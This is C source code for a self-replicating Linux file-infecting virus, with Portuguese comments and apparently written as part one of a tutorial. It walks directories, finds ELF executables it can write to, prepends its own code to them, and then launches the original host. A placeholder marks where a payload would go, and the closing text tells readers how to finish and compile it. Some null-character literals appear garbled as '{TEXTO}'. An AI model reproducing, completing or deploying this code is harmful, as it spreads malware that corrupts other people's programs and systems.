/*
virus1.c
Obs.: os tipos de arquivos podem ser
10. link simbólico lxxx
8. arquivo -xxx
6. arquivo de bloco bxxx
4. diretório dxxx
2. arquivo de caracter cxxx
1. arquivo de paginação pxxx
*/
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80
#define tamVir 12239
/* Tamanho do Vírus
Após o vírus ser compilado, use o ls -l para descobrir o tamanho do executável e use o tamanho aqui */
char codvirus [tamVir];
/* conterá o código do vírus */
const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0};
/* Cabeçalho de um binário executável */
int _USER_;
int _GROUP_;
char *_PATH_;
void infecta (char *_arq, struct stat _attr)
{
/*Essa técnica de infecção foi uma tentativa que deu certo, foi feita gravando byte por byte, pois assim diminui em muito o tamanho do código, porém pode ser aperfeiçoado.
No Windows seria fácil, bastaria copiar o vírus para um arquivo temporário e depois copiar a arquivo a ser infectado no final do temporário, apagar o arquivo original e depois renomear o temp.
No Linux o buraco é "mais embaixo". Apesar de ter direito de escrita em um arquivo, o usuário pode não ter direito de escrita no diretório onde o arquivo se encontra. Logo não daria para criar o temporário.
Então, pode vir a pergunta. Por que não copia o arquivo para um temporário em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui o temporário no final? O problema é que teria que varrer todo o disco procurando um diretório em que o usuário tivesse direito de escrita correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário home me dá garantia que posso escrever nele ou se o usuário que irá executar o vírus tem diretório home. Por que, então não guardar o executável na memória, sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final?
Porque nada garante que dependendo do tamanho do executável e da memória disponível irá ter espaço suficiente, principalmente se estiverem sendo executados várias instâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus ficará na memória indefinidamente, essa solução me pareceu melhor.*/
FILE *file_exec;
FILE *file_tmp;
char buf[1024];
char *tmp;
long i;
if (!(file_exec=fopen(_arq, "rw+"))) return;
tmp=(char *)malloc(strlen (_arq)+4);
strcpy (tmp, _arq);
strcat (tmp,".tmp");
if (file_tmp=fopen(tmp, "w+"))
{
unlink(tmp);
/* Copiando o hospedeiro para o temporário */
while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);
/* Voltando ao início dos arquivos */
fseek(file_tmp,0 ,SEEK_SET);
fseek(file_exec,0 ,SEEK_SET);
/* copiando para dentro do arquivo original, poupamos tempo com permissões.
Gravando o código do vírus no arquivo temporário*/
fwrite(codvirus,1,tamVir,file_exec);
/* voltando o original para depois do vírus */
while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
}
free(tmp);
close (file_tmp);
close (file_exec);
}
void tentaInfectar (char *arq)
{
FILE *file_exec;
long ret;
char bout[25];
int i;
/* vamos pegar os atributos do arquivo */
struct stat attrib;
stat(arq, &attrib);
/* verificando se o arquivo é binário
Todo executável binário assim como no Windows tem um cabeçalho identificando.
Não sei o significado mas abri vários binários e sem exceção eles têm os seguintes primeiros.
24 byts = CABEC_EXEC */
if (!(file_exec=fopen(arq,"r"))) return;
/* se não temos direito de leitura, não serve */
ret = fread (bout, 1, 24, file_exec);
/*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
if (ret <= 0)
{
close (file_exec);
return;
}
for (i=0; i<=23; i++)
{
/* Se tiver alguma diferença no cabeçalho, não é binário */
if (CABEC_EXEC[i] != bout[i])
{
close (file_exec);
return;
}
}
/* Se o usuário for root ou for igual ao dono do arquivo no caso do grupo, tem que ter direito de escrita outro caso é se o arquivo der direito de escrita para todos nestes 4 casos, podemos continuar */
if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;
infecta (arq, attrib);
}
void buscaInfecta (char *d)
{
struct dirent *dir;
DIR *path;
char *strArq;
char *dt;
int tam;
tam = strlen(d);
dt=(char *)malloc (tam+1);
strcpy (dt, d);
/* retirando a barra do fim do nome em caso de diretório para ficar padrão quando for diretório a barra será recolocada*/
if (dt[tam-1]=='/')
{
dt[tam-1]='{TEXTO}';
tam--;
}
if (!(path=opendir (dt))) { free (dt); return; }
while(dir = readdir(path))
{
usleep (1000);
strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
strcpy (strArq, dt);
strcpy (&strArq[tam], "/");
strcpy (&strArq[tam+1], dir->d_name);
if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
buscaInfecta (strArq);
else if (dir->d_type==8)
tentaInfectar (strArq);
free (strArq);
}
closedir (path);
free (dt);
}
void pegaDadosExport (void)
{
/* Pegando a Variável PATH do sistema */
_PATH_ = getenv("PATH");
/* pegando id do usuário e do grupo do usuário que está executando a aplicação */
_USER_ = getuid();
_GROUP_= getgid();
}
int pegaCodVirus (char *exec)
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */
FILE *file_exec;
char *diret;
char *tmp;
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(exec,"r")))
{
tamstr=strlen(exec);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, exec);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return 0;
}
ret = fread (codvirus, 1, tamVir, file_exec);
if (ret <= 0)
/* Não conseguiu copiar todo o código do vírus*/
{
close (file_exec);
return 0;
}
close (file_exec);
return 1;
}
void executaHospedeiro (char *exec, int qtde, char *param[])
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */
FILE *file_exec;
FILE *file_tmp;
char *diret;
char *tmp;
char tmpstr[1024];
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
char prog[512];
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(param[0],"r")))
{
tamstr=strlen(param[0]);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, param[0]);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return;
}
strcpy (prog,exec);
for (ret=1; ret<qtde; ret++)
{
strcat (prog," ");
strcat (prog,param[ret]);
}
if (!(file_tmp=fopen(exec,"w+")))
{
close (file_tmp);
return;
}
fseek(file_exec,tamVir,SEEK_SET);
while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);
close (file_exec);
close (file_tmp);
chmod (exec,493);
system (prog);
unlink(prog);
return;
}
int main (int argc, char *argv[])
{
int i;
i=fork();
if (i==0)
{
pegaDadosExport ();
/* pega o código binário do vírus para infectar os outros ou então pula a infecção */
if (pegaCodVirus (argv[0])) buscaInfecta ("./");
acao;
}
else executaHospedeiro ("./arqexec", argc, argv);
}
O valor de "tamVir" irá variar de acordo com a ação escolhida. Compile o vírus, use o
para verificar o tamanho do executável e modifique o valor de acordo com a tamanho encontrado. Compile novamente o vírus.
A execução do hospedeiro está retornando a seguinte mensagem: "Área de texto ocupada".
Deixei essa parte para quem quiser resolver, já que essa parte 1 é apenas para começar a ilustrar o funcionamento do vírus.